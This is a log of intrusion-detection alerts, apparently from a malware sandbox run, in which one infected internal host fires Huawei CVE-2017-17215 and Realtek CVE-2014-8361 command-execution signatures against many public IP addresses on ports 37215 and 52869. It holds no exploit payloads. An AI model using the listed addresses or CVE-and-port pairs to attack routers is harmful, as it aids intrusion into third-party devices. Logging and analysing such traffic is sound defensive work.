ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 223.227.5.114

Timestamp:	07/20/24-23:01:06.448801
SID:	2027339
Source Port:	34174
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.237.78.212

Timestamp:	07/20/24-23:01:12.485458
SID:	2835222
Source Port:	59690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.143.52.237

Timestamp:	07/20/24-23:00:59.021072
SID:	2829579
Source Port:	47944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 223.37.180.162

Timestamp:	07/20/24-23:01:22.743516
SID:	2829579
Source Port:	35166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.86.138.181

Timestamp:	07/20/24-23:01:36.798333
SID:	2835222
Source Port:	54130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 153.105.129.20

Timestamp:	07/20/24-23:01:14.551639
SID:	2027339
Source Port:	34660
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.154.139.135

Timestamp:	07/20/24-23:01:04.848605
SID:	2835222
Source Port:	41346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 217.47.253.96

Timestamp:	07/20/24-23:00:59.022999
SID:	2835222
Source Port:	49980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.89.245.204

Timestamp:	07/20/24-23:01:36.862442
SID:	2835222
Source Port:	56826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 163.209.94.25

Timestamp:	07/20/24-23:01:14.502469
SID:	2027339
Source Port:	56640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 181.177.254.25

Timestamp:	07/20/24-23:01:27.359674
SID:	2027339
Source Port:	60904
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 188.225.197.111

Timestamp:	07/20/24-23:01:36.847780
SID:	2835222
Source Port:	40610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 122.30.247.236

Timestamp:	07/20/24-23:01:27.361992
SID:	2831300
Source Port:	53020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.144.216.124

Timestamp:	07/20/24-23:01:08.381149
SID:	2835222
Source Port:	53996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.224.176.148

Timestamp:	07/20/24-23:01:12.553660
SID:	2829579
Source Port:	45140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.10.128.41

Timestamp:	07/20/24-23:01:22.749655
SID:	2835222
Source Port:	34274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.123.108.99

Timestamp:	07/20/24-23:01:02.628234
SID:	2835222
Source Port:	37016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.78.38.112

Timestamp:	07/20/24-23:01:22.780464
SID:	2829579
Source Port:	57178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.214.104.241

Timestamp:	07/20/24-23:01:04.846946
SID:	2829579
Source Port:	45420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.45.88.204

Timestamp:	07/20/24-23:00:59.021741
SID:	2835222
Source Port:	48244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 65.224.243.64

Timestamp:	07/20/24-23:01:05.533138
SID:	2025132
Source Port:	34692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.97.250.254

Timestamp:	07/20/24-23:01:12.495795
SID:	2829579
Source Port:	55294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.204.123.230

Timestamp:	07/20/24-23:01:04.892226
SID:	2835222
Source Port:	42498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.97.120.250

Timestamp:	07/20/24-23:01:12.492810
SID:	2835222
Source Port:	56234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 207.32.229.66

Timestamp:	07/20/24-23:01:14.512354
SID:	2027339
Source Port:	42510
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 220.123.4.18

Timestamp:	07/20/24-23:01:04.988327
SID:	2025132
Source Port:	32794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 52.185.40.220

Timestamp:	07/20/24-23:01:03.808937
SID:	2025132
Source Port:	38814
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.110.69.240

Timestamp:	07/20/24-23:00:59.020982
SID:	2829579
Source Port:	52342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.57.119.34

Timestamp:	07/20/24-23:01:06.802009
SID:	2829579
Source Port:	45708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.176.58.25

Timestamp:	07/20/24-23:01:25.397771
SID:	2835222
Source Port:	43648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 106.194.122.151

Timestamp:	07/20/24-23:01:07.491149
SID:	2025132
Source Port:	46874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 51.169.114.105

Timestamp:	07/20/24-23:01:14.522654
SID:	2831300
Source Port:	55288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.241.44.60

Timestamp:	07/20/24-23:01:15.112954
SID:	2835222
Source Port:	43340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.200.196.220

Timestamp:	07/20/24-23:01:22.736870
SID:	2829579
Source Port:	59148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.81.140.247

Timestamp:	07/20/24-23:01:06.804996
SID:	2829579
Source Port:	58982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 211.159.248.236

Timestamp:	07/20/24-23:01:14.509824
SID:	2027339
Source Port:	53088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.209.16.109

Timestamp:	07/20/24-23:01:04.892226
SID:	2835222
Source Port:	46482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.158.192.126

Timestamp:	07/20/24-23:01:12.357339
SID:	2835222
Source Port:	46248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.49.78.43

Timestamp:	07/20/24-23:01:04.848605
SID:	2835222
Source Port:	39698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 186.183.79.214

Timestamp:	07/20/24-23:01:20.418133
SID:	2025132
Source Port:	42426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 104.26.83.71

Timestamp:	07/20/24-23:01:14.501229
SID:	2831300
Source Port:	45402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 152.161.224.79

Timestamp:	07/20/24-23:01:14.539913
SID:	2027339
Source Port:	51786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 124.49.210.94

Timestamp:	07/20/24-23:01:07.232267
SID:	2027339
Source Port:	36452
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 166.157.8.210

Timestamp:	07/20/24-23:01:14.501031
SID:	2831300
Source Port:	42946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 105.62.143.218

Timestamp:	07/20/24-23:01:12.504870
SID:	2835222
Source Port:	37746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.78.38.112

Timestamp:	07/20/24-23:01:22.780464
SID:	2835222
Source Port:	57178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 144.53.119.5

Timestamp:	07/20/24-23:01:06.293358
SID:	2027339
Source Port:	53508
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.95.42.53

Timestamp:	07/20/24-23:01:22.826612
SID:	2829579
Source Port:	43862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.170.121.130

Timestamp:	07/20/24-23:01:02.699256
SID:	2835222
Source Port:	53848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.133.175.82

Timestamp:	07/20/24-23:01:32.271087
SID:	2835222
Source Port:	33108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.217.115.59

Timestamp:	07/20/24-23:01:04.858821
SID:	2835222
Source Port:	33616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 137.137.144.212

Timestamp:	07/20/24-23:01:05.995422
SID:	2025132
Source Port:	55744
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 46.185.21.147

Timestamp:	07/20/24-23:00:59.022344
SID:	2829579
Source Port:	54018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 31.175.187.129

Timestamp:	07/20/24-23:01:14.502469
SID:	2027339
Source Port:	43894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.107.44.23

Timestamp:	07/20/24-23:01:22.811587
SID:	2829579
Source Port:	46170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.241.50.58

Timestamp:	07/20/24-23:01:12.539005
SID:	2829579
Source Port:	55336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 65.79.209.34

Timestamp:	07/20/24-23:00:59.020988
SID:	2829579
Source Port:	49736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.236.227.173

Timestamp:	07/20/24-23:01:04.907419
SID:	2829579
Source Port:	40488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.77.20.171

Timestamp:	07/20/24-23:01:06.820921
SID:	2829579
Source Port:	34606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.119.225.136

Timestamp:	07/20/24-23:01:32.199190
SID:	2835222
Source Port:	43158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 121.104.50.97

Timestamp:	07/20/24-23:01:06.240012
SID:	2027339
Source Port:	38692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.214.26.254

Timestamp:	07/20/24-23:01:02.601732
SID:	2829579
Source Port:	41644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 162.26.5.38

Timestamp:	07/20/24-23:01:06.205306
SID:	2025132
Source Port:	33916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 61.114.188.190

Timestamp:	07/20/24-23:01:06.862597
SID:	2027339
Source Port:	58804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.180.89.127

Timestamp:	07/20/24-23:01:14.998444
SID:	2835222
Source Port:	41946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.81.132.84

Timestamp:	07/20/24-23:01:22.743515
SID:	2835222
Source Port:	40824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 47.21.202.187

Timestamp:	07/20/24-23:01:14.522190
SID:	2831300
Source Port:	54410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 205.146.86.254

Timestamp:	07/20/24-23:01:19.958256
SID:	2027339
Source Port:	37588
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 92.60.201.159

Timestamp:	07/20/24-23:01:14.569004
SID:	2831300
Source Port:	40858
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 84.50.117.185

Timestamp:	07/20/24-23:01:07.544207
SID:	2027339
Source Port:	52288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.61.211.184

Timestamp:	07/20/24-23:01:25.390310
SID:	2835222
Source Port:	51690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 158.95.177.24

Timestamp:	07/20/24-23:01:19.210879
SID:	2025132
Source Port:	53604
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.79.63.222

Timestamp:	07/20/24-23:00:59.021890
SID:	2829579
Source Port:	58998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.57.237.13

Timestamp:	07/20/24-23:01:32.202245
SID:	2835222
Source Port:	38114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.251.174.213

Timestamp:	07/20/24-23:01:36.855169
SID:	2835222
Source Port:	37054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.28.17.113

Timestamp:	07/20/24-23:01:02.620832
SID:	2829579
Source Port:	42426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 137.137.144.212

Timestamp:	07/20/24-23:01:14.535851
SID:	2027339
Source Port:	57884
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.203.138.176

Timestamp:	07/20/24-23:01:25.390311
SID:	2829579
Source Port:	50316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 140.155.1.23

Timestamp:	07/20/24-23:01:17.790236
SID:	2835222
Source Port:	35968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.152.229.173

Timestamp:	07/20/24-23:00:59.020901
SID:	2829579
Source Port:	37268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.29.167.252

Timestamp:	07/20/24-23:01:15.000002
SID:	2829579
Source Port:	33410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 62.79.48.97

Timestamp:	07/20/24-23:01:27.276711
SID:	2829579
Source Port:	35450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.180.188.91

Timestamp:	07/20/24-23:01:04.861979
SID:	2829579
Source Port:	40720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 39.238.204.107

Timestamp:	07/20/24-23:01:14.512728
SID:	2027339
Source Port:	44228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.16.242.169

Timestamp:	07/20/24-23:01:22.812907
SID:	2829579
Source Port:	56214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 64.186.75.249

Timestamp:	07/20/24-23:01:14.507784
SID:	2027339
Source Port:	54908
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.37.233.45

Timestamp:	07/20/24-23:01:25.391285
SID:	2829579
Source Port:	52720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 46.178.0.255

Timestamp:	07/20/24-23:01:27.359674
SID:	2027339
Source Port:	36400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 17.84.65.128

Timestamp:	07/20/24-23:01:22.736771
SID:	2835222
Source Port:	42444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.194.160.22

Timestamp:	07/20/24-23:01:12.360354
SID:	2835222
Source Port:	55978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.205.125.4

Timestamp:	07/20/24-23:01:12.553660
SID:	2835222
Source Port:	54976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.122.210.70

Timestamp:	07/20/24-23:01:02.603717
SID:	2835222
Source Port:	59794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.132.136.35

Timestamp:	07/20/24-23:01:08.407067
SID:	2835222
Source Port:	41032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 221.85.136.10

Timestamp:	07/20/24-23:01:14.525838
SID:	2831300
Source Port:	48282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.237.188.97

Timestamp:	07/20/24-23:00:59.021580
SID:	2835222
Source Port:	60186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 110.202.3.118

Timestamp:	07/20/24-23:00:59.021321
SID:	2835222
Source Port:	33654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 179.27.16.177

Timestamp:	07/20/24-23:01:06.511162
SID:	2027339
Source Port:	40030
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 99.172.148.31

Timestamp:	07/20/24-23:01:14.533279
SID:	2027339
Source Port:	54722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 45.56.154.125

Timestamp:	07/20/24-23:01:32.260443
SID:	2835222
Source Port:	51850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 165.95.243.107

Timestamp:	07/20/24-23:01:06.230961
SID:	2025132
Source Port:	46330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.91.199.137

Timestamp:	07/20/24-23:01:12.539005
SID:	2829579
Source Port:	57216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

